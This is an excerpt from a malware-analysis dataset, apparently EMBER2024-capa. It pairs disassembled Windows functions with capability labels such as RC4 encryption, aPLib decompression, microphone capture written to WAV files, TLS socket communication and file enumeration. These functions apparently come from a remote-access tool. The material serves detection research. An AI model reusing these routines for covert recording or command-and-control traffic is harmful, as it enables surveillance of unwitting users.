joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10012960
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100503ba
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x1006900c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp + 8]
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea esi, [eax + 0x18]
mov dword [ebp - 4], 0
lea eax, [ecx + 0x18]
push esi
mov ecx, eax
mov dword [ebp + 8], eax
call fcn.10008eb0
push 0x10
mov byte [ebp - 4], 1
call fcn.10017454
mov edi, eax
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 2
mov esi, dword [esi + 0x18]
push 0x48
call fcn.10017454
add esp, 8
mov dword [edi + 4], eax
mov byte [ebp - 4], 3
mov ecx, edi
push esi
mov dword [edi + 0xc], 0
call fcn.10014b40
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x30], edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x10013200
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
test dl, dl
je 0x10013254
push esi
movzx esi, cx
mov edx, 1
mov ecx, 0x80
push edi
mov dword [ebp - 4], ecx
mov ax, cx
nop dword [eax]
or ecx, edx
movzx edi, cx
mov ecx, edi
and ecx, esi
movzx ecx, cx
cmp cx, ax
je 0x10013236
cmp cx, dx
jne 0x10013238
xor esi, edi
shr ax, 1
add edx, edx
mov word [ebp - 4], ax
cmp ax, dx
jbe 0x1001324b
mov ecx, dword [ebp - 4]
jmp 0x10013220
pop edi
movzx eax, si
pop esi
mov esp, ebp
pop ebp
ret
movzx eax, cx
mov esp, ebp
pop ebp
ret

Function at 0x100170d0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
mov dword [ebp - 4], edx
cmp dword [ebp + 0xc], edi
jbe 0x1001712f
push ebx
push esi
movzx esi, byte [ecx + 1]
movzx edx, byte [ecx]
movzx eax, byte [esi + ecx + 2]
add edx, eax
movzx eax, dl
mov al, byte [eax + ecx + 2]
mov byte [ecx], al
mov dl, byte [esi + ecx + 2]
movzx eax, al
mov bl, byte [eax + ecx + 2]
movzx eax, bl
movzx eax, byte [eax + ecx + 2]
inc eax
movzx eax, al
mov dh, byte [eax + ecx + 2]
mov byte [esi + ecx + 2], bl
movzx eax, byte [ecx]
mov byte [eax + ecx + 2], dl
mov eax, dword [ebp - 4]
inc byte [ecx + 1]
xor byte [eax + edi], dh
inc edi
cmp edi, dword [ebp + 0xc]
jb 0x100170e1
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x1001b78f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x1006900c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
mov eax, 0xffff
push edi
mov edi, ecx
cmp ax, bx
jne 0x1001b7b4
xor eax, eax
jmp 0x1001b810
mov eax, dword [edi + 0x20]
push esi
mov ecx, dword [eax]
test ecx, ecx
je 0x1001b7e1
mov edx, dword [edi + 0x30]
mov esi, dword [edx]
lea eax, [ecx + esi*2]
cmp ecx, eax
jae 0x1001b7e1
lea ecx, [esi - 1]
mov dword [edx], ecx
mov edx, dword [edi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 2]
mov dword [edx], ecx
mov word [esi], bx
jmp 0x1001b895
cmp dword [edi + 0x4c], 0
je 0x1001b80a
mov ecx, edi
call fcn.1001b43f
mov eax, dword [edi + 0x38]
mov dword [ebp - 0x2c], eax
test eax, eax
jne 0x1001b820
push dword [edi + 0x4c]
push ebx
call fcn.1001ac51
pop ecx
test al, al
movzx eax, bx
pop ecx
jne 0x1001b80f
mov eax, 0xffff
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.10017199
leave
ret 4
mov word [ebp - 0x28], bx
mov eax, dword [eax]
mov esi, dword [eax + 0x1c]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 4]
mov ecx, esi
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x26]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [edi + 0x40]
push eax
call dword [0x10053190]
mov ecx, dword [ebp - 0x2c]
call esi
test eax, eax
js 0x1001b80a
cmp eax, 1
jle 0x1001b868
cmp eax, 3
jne 0x1001b80a
push dword [edi + 0x4c]
push dword [ebp - 0x28]
jmp 0x1001b7fc
mov esi, dword [ebp - 0x30]
lea eax, [ebp - 0x24]
sub esi, eax
je 0x1001b885
push dword [edi + 0x4c]
push esi
push 1
push eax
call fcn.10033ed0
add esp, 0x10
cmp esi, eax
jne 0x1001b80a
lea eax, [ebp - 0x28]
mov byte [edi + 0x3e], 1
cmp dword [ebp - 0x34], eax
je 0x1001b80a
mov ax, bx
jmp 0x1001b80f

Function at 0x100420ac
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10041d6f

Function at 0x100420b7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10041ef0

Function at 0x100450f5
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10044db5
Function at 0xb1b058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00b1b1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xb1b07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xb1b06a
add dl, dl
jne 0xb1b089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xb1b0dc
xor eax, eax
add dl, dl
jne 0xb1b096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xb1b17d
add dl, dl
jne 0xb1b0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb1b0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb1b0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb1b0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xb1b0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xb1b075
mov eax, 1
add dl, dl
jne 0xb1b0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb1b0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xb1b0e1
sub eax, ebx
mov ebx, 1
jne 0xb1b128
mov ecx, 1
add dl, dl
jne 0xb1b10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xb1b119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xb1b105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xb1b075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xb1b13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xb1b14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xb1b136
cmp eax, 0x7d00
jae 0xb1b16d
cmp eax, 0x500
jb 0xb1b168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xb1b075
cmp eax, 0x7f
ja 0xb1b170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xb1b075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xb1b19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xb1b075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10001718
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
lea eax, [ebp + 0xc]
mov esi, ecx
push eax
mov ecx, 0x1006ed38
mov edi, edx
call fcn.10001fc6
mov edx, dword [ebp + 8]
xor eax, eax
inc eax
movzx ebx, di
mov word [0x1006caa8], ax
shr ebx, 3
movzx eax, si
imul eax, ebx
movd xmm0, edx
cvtdq2pd xmm0, xmm0
mov dword [0x1006caac], edx
mov word [0x1006cab6], di
shr di, 3
movzx ecx, di
push 0x30008
imul eax, edx
shr edx, 0x1f
mov word [0x1006caaa], si
addsd xmm0, qword [edx*8 + 0x10066f70]
mov dword [0x1006cab0], eax
movzx eax, si
xor esi, esi
imul ecx, eax
xor eax, eax
mov word [0x1006cab8], ax
cvtpd2ps xmm0, xmm0
push esi
push 0x10001873
push 0x1006caa8
push 0xffffffffffffffff
push 0x1006cac8
mov word [0x1006cab4], cx
mulss xmm0, dword [0x10066f1c]
cvttss2si eax, xmm0
imul ebx, eax
mov dword [0x1006cabc], eax
mov dword [0x1006ca80], ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
mov ecx, esi
call fcn.100017f6
inc esi
cmp esi, 2
jb 0x100017d1
push dword [0x1006cac8]
call dword [sym.imp.WINMM.dll_waveInStart]
pop edi
pop esi
lea ecx, [ebp + 0xc]
pop ebx
pop ebp
jmp fcn.10001fe0

Function at 0x100017f6
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
push dword [0x1006ca80]
mov esi, ecx
mov ecx, 0x1006ecf8
push esi
call fcn.10001e62
mov ecx, eax
call fcn.10001f9d
mov edi, dword [0x1006ed34]
mov ebx, esi
shl ebx, 5
mov ecx, 0x1006ecf8
push esi
add edi, ebx
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
mov dword [edi], eax
mov eax, dword [0x1006ca80]
mov dword [edi + 4], eax
xor eax, eax
push 0x20
push edi
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], eax
push dword [0x1006cac8]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov eax, dword [0x1006ed34]
push 0x20
add eax, ebx
push eax
push dword [0x1006cac8]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
pop edi
pop esi
pop ebx
ret
Function at 0x10001a7d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
movzx esi, word [0x1006cab6]
mov ebx, edx
push edi
movzx edi, word [0x1006caaa]
imul esi, edi
mov dword [ebp - 0x10], 1
mov dword [ebp - 0xc], 0x10
mov eax, esi
imul eax, dword [0x1006caac]
shr eax, 3
mov dword [ebp - 0x14], eax
mov eax, esi
cdq
xor esi, esi
and edx, 7
add eax, edx
push esi
sar eax, 3
push 0x80
mov dword [ebp - 0x18], eax
mov eax, dword [ebx + 4]
push 2
imul eax, edi
push esi
push esi
push 0x40000000
push ecx
mov dword [ebp - 0x1c], eax
add eax, 0x24
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10001af9
xor al, al
jmp 0x10001bdf
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 4]
push eax
push 4
push 0x10060460
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
push eax
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
push str.WAVE
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
push str.fmt
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 2
lea eax, [ebp - 0x10]
push eax
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 2
push 0x1006caaa
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
push 0x1006caac
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 2
lea eax, [ebp - 0x18]
push eax
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 2
push 0x1006cab6
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
push str.data
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
push edi
call esi
push 0
lea ecx, [ebp - 4]
push ecx
push dword [ebx + 4]
push dword [ebx]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100049ea
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x1006cadc]
sub esp, 0x1c
push ebx
push edi
push dword [eax + 0x10]
mov edi, ecx
push dword [eax + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x10004b3d
cmp byte [edi + 1], al
je 0x10004b39
cmp byte [edi + 0x31], al
je 0x10004a48
sub esp, 0x18
lea eax, [edi + 0x34]
mov ecx, esp
mov edx, str.TLS_Handshake...______
push eax
call fcn.10005429
sub esp, 0x14
mov ecx, esp
push 0x10060624
call fcn.1000209d
call fcn.1001795c
add esp, 0x30
call fcn.1001cdb9
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x10004a63
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_1
jmp 0x10004b9d
mov edx, dword [edi + 4]
mov ecx, eax
call fcn.1001cfdd
cmp eax, 1
je 0x10004aa9
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_2
call fcn.1000209d
sub esp, 0x18
mov ecx, esp
push 0x10060588
call fcn.1000209d
call fcn.1001795c
add esp, 0x30
mov ecx, dword [edi + 0x4c]
call fcn.1001cdff
and dword [edi + 0x4c], 0
jmp 0x10004bb9
mov ecx, dword [edi + 0x4c]
call fcn.1001dabd
cmp eax, 1
je 0x10004ae6
sub esp, 0x18
mov ecx, esp
push str.TLS_Authentication_Failed
call fcn.1000209d
sub esp, 0x18
mov ecx, esp
push 0x10060588
call fcn.1000209d
call fcn.1001795c
mov ecx, dword [edi + 0x4c]
add esp, 0x30
call fcn.1001d206
jmp 0x10004a98
mov ecx, dword [edi + 0x4c]
call fcn.1001cf54
mov dword [edi + 0x50], eax
test eax, eax
jne 0x10004b1b
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_3
call fcn.1000209d
sub esp, 0x18
mov ecx, esp
push 0x10060588
call fcn.1000209d
call fcn.1001795c
add esp, 0x30
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push 1
push ebx
push ebx
mov dword [edi + 0x70], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 0x6c], eax
mov al, 1
jmp 0x10004bbb
cmp byte [edi + 0x31], 0
je 0x10004bb9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
sub ecx, 0x2736
je 0x10004bb9
sub ecx, 0x17
je 0x10004b93
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.10018c24
sub esp, 0x18
mov edx, str.Connection_Failed:
mov ecx, esp
push eax
call fcn.10005405
sub esp, 0x14
mov ecx, esp
push 0x10060588
call fcn.1000209d
call fcn.1001795c
add esp, 0x30
lea ecx, [ebp - 0x1c]
call fcn.10001fe0
jmp 0x10004bb9
sub esp, 0x18
mov ecx, esp
push str.Connection_Refused
call fcn.1000209d
sub esp, 0x18
mov ecx, esp
push 0x10060588
call fcn.1000209d
call fcn.1001795c
add esp, 0x30
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10004bc3
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp + 0xc]
call fcn.100024a2
xor ebx, ebx
lea ecx, [ebp - 0x1c]
push ebx
push 0xc
lea esi, [eax + 4]
call fcn.10005310
push ebx
lea ecx, [ebp - 0x1c]
call fcn.100052e2
mov ecx, dword [edi + 0x2c]
push 4
mov dword [eax], ecx
lea ecx, [ebp - 0x1c]
call fcn.100052e2
push 8
lea ecx, [ebp - 0x1c]
mov dword [eax], esi
call fcn.100052e2
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x1c]
call fcn.1000344f
cmp byte [edi + 1], bl
jne 0x10004c40
push ebx
lea ecx, [ebp - 0x1c]
call fcn.100024a2
push eax
lea ecx, [ebp - 0x1c]
call fcn.10001fae
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
jmp 0x10004c7b
or ebx, 0xffffffff
push ebx
push dword [edi + 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.100024a2
push eax
lea ecx, [ebp - 0x1c]
call fcn.10001fae
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.1001d18e
pop ecx
mov esi, eax
pop ecx
push dword [edi + 0x70]
test esi, esi
cmove esi, ebx
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea ecx, [ebp - 0x1c]
call fcn.10001fe0
lea ecx, [ebp + 0xc]
call fcn.10001fe0
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x10004c96
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
cmp byte [edi + 1], 0
je 0x10004ccf
push 0xffffffffffffffff
push dword [edi + 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp + 8]
push ecx
push dword [ebp + 0xc]
mov ecx, dword [edi + 0x4c]
call fcn.1001d1ca
pop ecx
pop ecx
push dword [edi + 0x6c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, esi
jmp 0x10004ce0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
pop edi
pop esi
pop ecx
pop ebp
ret 0xc

Function at 0x10004ce7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [ecx + 8], eax
xor eax, eax
push eax
push eax
push ecx
push 0x10004d06
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret 4
Function at 0x10004dcb
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
and dword [ebp - 8], 0
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x28]
push edi
mov dword [ebp - 0x10], esi
and dword [esi + 0x54], 0
call fcn.100020ee
mov edi, dword [ebp + 8]
lea eax, [esi + 0x58]
push eax
lea eax, [ebp - 8]
mov ecx, edi
push eax
call fcn.10001fae
push eax
mov ecx, esi
call fcn.10005002
test al, al
je 0x10004f1a
movzx eax, byte [esi + 0x30]
mov ecx, edi
mov ebx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
add ebx, eax
call fcn.100024a2
cmp ebx, eax
jbe 0x10004e3e
mov ecx, edi
mov bl, 1
call fcn.100024a2
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
add ecx, dword [ebp - 8]
mov edi, dword [ebp + 8]
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x10004e40
xor bl, bl
test bl, bl
jne 0x10004f1a
mov ebx, dword [ebp - 0xc]
lea eax, [ebp - 0x40]
push 0xffffffffffffffff
push ebx
push eax
mov ecx, edi
call fcn.100042ae
push eax
lea ecx, [ebp - 0x28]
call fcn.10001fea
lea ecx, [ebp - 0x40]
call fcn.10001fe0
push dword [ebp - 8]
lea eax, [ebp - 0x40]
push 0
push eax
lea ecx, [ebp - 0x28]
call fcn.100042ae
push eax
lea ecx, [ebp - 0x28]
call fcn.10001fea
lea ecx, [ebp - 0x40]
call fcn.10001fe0
cmp byte [ebp + 0x10], 0
lea eax, [ebp - 0x28]
jne 0x10004ea9
sub esp, 0x18
mov ecx, esp
push eax
call fcn.10002105
push esi
call dword [ebp + 0xc]
add esp, 0x1c
jmp 0x10004ee5
push eax
lea ecx, [esi + 0xc]
call fcn.10001fc6
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [ebp + 0xc]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov ecx, edi
push 0xffffffffffffffff
add eax, ebx
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.100042ae
push eax
mov ecx, edi
call fcn.10001fea
lea ecx, [ebp - 0x40]
call fcn.10001fe0
mov ecx, edi
call fcn.100024a2
test eax, eax
lea eax, [esi + 0x58]
jne 0x10004def
lea ecx, [ebp - 0x28]
call fcn.10001fe0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000504b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x5c], 0
jne 0x100050e4
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x1000506e
mov byte [esi + 0x7c], 1
jmp 0x100050ba
cmp byte [0x1006cd20], 0
je 0x100050ba
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.10017e8c
sub esp, 0x18
mov edx, str.Connection_KeepAlive___Enabled__Timeout:
mov ecx, esp
push eax
call fcn.10005405
sub esp, 0x14
mov ecx, esp
push 0x10060624
call fcn.1000209d
call fcn.1001795c
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.10001fe0
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push esi
push 0x1000524a
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x100050e6
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x1000634e
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x10066f60]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x1000635a
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [ebp + 0xc]
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x1000639e
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x1000637b
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x100063bd
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
xor edx, edx
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x400]
mov ecx, 0x100
mov ebx, edx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 0xc]
mov edi, edx
add esi, 1
je 0x10006455
inc edx
and edx, 0x800000ff
jns 0x100063f7
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [ebp + edx*4 - 0x400]
add ebx, eax
and ebx, 0x800000ff
jns 0x10006410
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, al
mov eax, dword [ebp + ebx*4 - 0x400]
mov dword [ebp + edx*4 - 0x400], eax
movzx eax, cl
mov dword [ebp + ebx*4 - 0x400], eax
mov ecx, dword [ebp + edx*4 - 0x400]
add ecx, eax
and ecx, 0x800000ff
jns 0x10006443
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [ebp + ecx*4 - 0x400]
mov ecx, dword [ebp + 8]
xor byte [edi + ecx], al
inc edi
cmp edi, esi
jb 0x100063e6
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10006864
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
lea eax, [ebp - 0x298]
lea ecx, [ebp + 8]
push ebx
push esi
push eax
call fcn.10001f04
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100068aa
sub esp, 0x18
lea edx, [ebp + 8]
mov ecx, esp
call fcn.10018002
push 0x54
mov ecx, 0x1006ef78
call fcn.10004bc3
jmp 0x1000696b
lea ecx, [ebp - 0x18]
call fcn.100020ee
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x30]
call fcn.10004287
mov edx, 0x10060798
mov ecx, eax
call fcn.100080e0
lea ecx, [ebp - 0x30]
mov bl, al
call fcn.10001f09
test bl, bl
je 0x10006937
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x30]
call fcn.100020c4
push eax
lea ecx, [ebp - 0x18]
call fcn.10001fea
lea ecx, [ebp - 0x30]
jmp 0x10006932
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x48]
call fcn.100020c4
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.100080ec
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.10001fea
lea ecx, [ebp - 0x30]
call fcn.10001fe0
lea ecx, [ebp - 0x48]
call fcn.10001fe0
lea eax, [ebp - 0x298]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x100068fd
sub esp, 0x18
lea eax, [ebp - 0x18]
mov ecx, esp
push eax
call fcn.10002105
push 0x50
mov ecx, 0x1006ef78
call fcn.10004bc3
lea ecx, [ebp - 0x18]
call fcn.10001fe0
lea ecx, [ebp + 8]
call fcn.10001f09
pop esi
pop ebx
mov esp, ebp
pop ebp
ret